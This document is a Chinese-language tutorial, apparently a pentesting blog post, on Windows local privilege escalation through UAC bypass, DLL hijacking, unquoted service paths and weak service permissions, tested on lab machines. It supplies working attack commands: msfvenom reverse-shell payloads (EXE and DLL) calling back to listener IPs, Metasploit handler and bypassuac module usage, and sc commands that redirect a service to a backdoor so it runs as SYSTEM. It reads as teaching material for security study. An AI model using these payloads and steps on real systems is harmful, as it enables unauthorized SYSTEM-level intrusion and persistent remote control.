Windows本地提权,这种提权适用于有一本地个用户的基础上,有一定的权限,无法从webshell上进行提权
目录
BypassUAC提权
原理
关于UAC
MFS绕过提权
UAC等级为低绕过测试
UAC等级为中绕过测试
UAC等级为高绕过测试
注意:bypassuac注意需要用户在管理员组,并且uac是开启状态,uac如果是关闭状态是可以直接getsystem进行提权的
工具UAC绕过
DLL劫持提权
关于DLL
原理
DLL劫持
引号路径提权
原理
实战测试
服务权限提权
原理
实战测试
BypassUAC提权
绕过UAC进行提权
原理
UAC绕过原理:攻击者通过不同的技术手段绕过UAC,以实现在系统上以管理员权限执行恶意代码的目的。以下是几种常见的UAC绕过技术:
- 异常捕获绕过:攻击者通过在恶意代码中使用异常处理机制,利用操作系统的异常捕获过程,绕过UAC的提权提示。
- 自动提权:攻击者通过利用一些可信进程(如"cmstp.exe"、"eventvwr.exe"等)的自动提权功能,将恶意代码伪装为这些进程的子进程,从而以管理员权限运行。
- 系统漏洞利用:攻击者利用操作系统中的漏洞,例如文件/注册表权限绕过、DLL劫持等,通过执行恶意代码来提升权限。
- 提权工具:攻击者使用专门的工具,如Metasploit等,利用已知的UAC绕过技术来提升权限。
关于UAC
UAC(用户账户控制)是Windows操作系统中的一项安全功能。它的目的是通过降低恶意软件的权限,保护计算机免受未经授权的更改和恶意软件的攻击。
当启用了UAC时,当需要进行需要管理员权限的操作时,系统会提示用户进行确认。这样,即使用户具有管理员权限,也需要确认其意图,以防止不经意间或未经授权的更改。
UAC的工作原理如下:
- 当需要管理员权限执行某个操作时,系统会弹出UAC提示框,询问用户是否同意。
- 用户根据需要选择“是”或“否”。
- 如果用户选择“是”,操作将以管理员权限继续执行;如果用户选择“否”,操作将被中止。
- 如果当前用户不是管理员账户,系统会要求用户提供管理员凭据(用户名和密码)以确认身份。
- 如果操作需要管理员权限,但用户无法提供管理员凭据,则操作将无法执行。
通过UAC,Windows操作系统能够在保护计算机安全的同时,避免普通用户滥用管理员权限,减少潜在的风险和威胁。
windows打开方式:
win + r 输入 msconfig
UAC设置有三个等级:低,中,高,默认为中
在是完全开启动UAC的状态
在开到最高等级时,安装exe需要用户亲手点击确认,否则无法安装
而我们在启动木马的时候都是在命令行模式下,我们是无法打开这个窗口的。这就需要配合钓鱼,但是也有可以绕过方法。
MFS绕过提权
测试环境:win7
首先MSF木马上线
生成木马:
msfvenom -p windows/meterpreter/reverse_tcp lport=4444 lhost=192.168.85.129 -f exe -o 11.exe
开启监听:
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
run
msf成功上线,可以使用msf的自动化提权
UAC等级为低绕过测试
首先木马上线后,测试利用getsystem进行提权
提权成功!!!
UAC等级为中绕过测试
直接getsystem测试,不出意料失败了
使用这个模块进行UAC绕过测试 use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac
set session 2
run
设置session
提权成功!!!
UAC等级为高绕过测试
测试环境:win10
exploit/windows/local/bypassuac不好用了,提权不了
换用ask模块进行测试:
但是需要对方配合点击确定
这才能顺利提权。
换用这个模块进行测试 use exploit/windows/local/bypassuac_sluihijack 不需要对方配合
use exploit/windows/local/bypassuac_sluihijack
set session 4
run
顺利提权!!!
msf共有十几个uac模块,灵活应用
注意:bypassuac注意需要用户在管理员组,并且uac是开启状态,uac如果是关闭状态是可以直接getsystem进行提权的
工具UAC绕过
项目地址:GitHub - hfiref0x/UACME: Defeating Windows User Account Control
环境:win7
一般用 41 23 61 会弹出一个system权限的 cmd
这个下载后需要进行编译生成才能使用,会生成根据32,64位系统利用的可执行文件
这条命令表示以高权限启动木马
使用MSF进行监听:
返回system权限
DLL劫持提权
windows程序启动的时候需要DLL,可以通过把后门写成dll文件覆盖原有的dll文件,等待管理员点击进行提权。
关于DLL
动态链接库(Dynamic Link Library,简称DLL)是一种在Windows操作系统中广泛使用的可执行文件格式。DLL文件包含可供程序调用的函数、数据和资源,可以被多个程序共享和重用,提供了模块化和可扩展性的优势。
windows系统DLL文件搜索顺序:
- 应用程序加载的目录
- C:\Windows\System32
- C:\Windows\System
- C:\Windows
- 当前工作目录Current Working Directory,CWD
- 在PATH环境变量的目录(先系统后用户)
一般dll劫持的是在应用程序的加载目录,其他地方可能没有权限
除了第一条,剩下的基本不用想,因为需要高权限
可以使用火绒剑来分析应用程序加载的DLL文件
这样的dll文件就可以尝试劫持
原理
攻击者通过利用程序加载动态链接库(DLL)的过程中的漏洞,以提升自己的权限。DLL劫持提权通常发生在程序加载DLL时,攻击者将恶意的DLL文件替换掉目标程序所要加载的合法DLL文件,使其在加载过程中执行恶意代码。
攻击者利用DLL劫持提权的原理如下:
-
目标程序加载DLL:当一个程序运行时,它可能需要加载一个或多个外部的DLL文件来执行特定的功能。程序加载DLL的过程包括根据指定的文件名查找DLL、将DLL文件加载到内存并执行其中的代码。
-
DLL搜索顺序:在加载DLL时,操作系统会按照一定的搜索顺序来查找DLL文件。这个搜索顺序通常包括在指定路径中查找、在系统目录和Windows目录中查找、在应用程序所在目录中查找等。
-
恶意DLL替换:攻击者可以将恶意的DLL文件命名为目标程序所要加载的合法DLL文件,并将其放置在指定的搜索路径中,使目标程序在加载DLL时误将恶意DLL加载到内存中。
-
执行恶意代码:一旦目标程序加载了恶意DLL,攻击者就可以通过DLL中的恶意代码来执行各种恶意操作,包括获取高权限的访问权限、窃取敏感信息、修改系统配置等。
DLL劫持提权的成功攻击需要满足以下条件:
-
目标程序存在DLL加载的漏洞,即它在加载DLL时没有明确指定DLL的路径,或者存在可被攻击者利用的搜索路径。
-
攻击者能够将恶意DLL文件放置在目标程序所使用的搜索路径中,且命名与目标DLL文件相同。
DLL劫持
测试环境:win2016 flashfxp(ftp)
使用火绒剑分析:
使用MSF生成DLL后门
msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117 lport=4444 -f dll -o xiaodi.dll
替换原有的DLL文件
监听接收连接
上线,得到管理员权限
这个FXP是使用管理员的账户运行的,因为继承的关系,我们的到的也是管理员的权限
之后再进行提权
这款工具可以检测dll文件是否可以被劫持,需要放到对方主机上运行
引号路径提权
利用配置错误,启动服务以system权限运行木马
原理
当服务是没有引号又有空格是就会造成提权,系统会把空格前的当作exe程序,把后面的当作参数,可以生成一个和前面名字一样的后门exe,当服务启动时,会成功上线,如果是系统服务,那获得的就是system权限;当有引号担忧空格时,就会当作一个整体,没有安全问题
带引号:
“C:\Program Files (x86)\Acunetix\wvs_supervisor.exe"
不带引号:
C:\Program Files (x86)\Acunetix\wvs_supervisor.exe
不带引号 有空格的命令会被认为是命令的参数
带引号就是一个整体
之后通过修改服务对应的路径,启动服务完成提权。
注意:windows系统服务启动是以system权限启动的
实战测试
测试环境:win2016
首先,先检测系统上是否存在服务路径的问题
检测方式:
命令检测
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
排除c盘的windows主要是因为没有权限
使用检测工具:
GitHub - 411Hall/JAWS: JAWS - Just Another Windows (Enum) Script
这个也不错
msf生成和服务空格前一样的exe后门程序,放到对应启动的位置,放到C盘
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.85.129 lport=4444 -f exe -o Program.exe
开启监听:
找到带有空格的服务路径的对应服务进行查看
在启动服务的时候
当这个服务启动的时候,该路径未被空格包裹,会在C盘下找到我们的木马 program.exe 作为命令,后面的视为参数去执行。这样我们的木马就作为system进行上线
然后启动这个服务就可以运行木马,成功上线
服务权限提权
原理
即使正确引用了服务路径,也可能存在其它漏洞。由于管理配置错误,用户可能对服务拥有过多权限。例如:可以直接修改它导致重定向执行文件。本质就是修改服务对应路径,用服务system启动我们的木马
实战测试
使用微软提供的工具:AccessChk - Sysinternals | Microsoft Learn
检测服务权限:
关注 service all access
MSF生成后门并开启监听:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.85.129 lport=4444 -f exe -o Program.exe
找可以改的service_all_access
创建一个服务或者找到一个可修改的
sc create test start= auto binPath="C:\1.exe"
更改服务程序路径,并启动服务
sc config "test" binpath="C:\Program.exe"
sc start test
system权限启动服务,木马的权限也是system,上线:
大部分服务是不能修改的,修改需要高权限
这是属于配置问题,配置某些低权用户也可以修改服务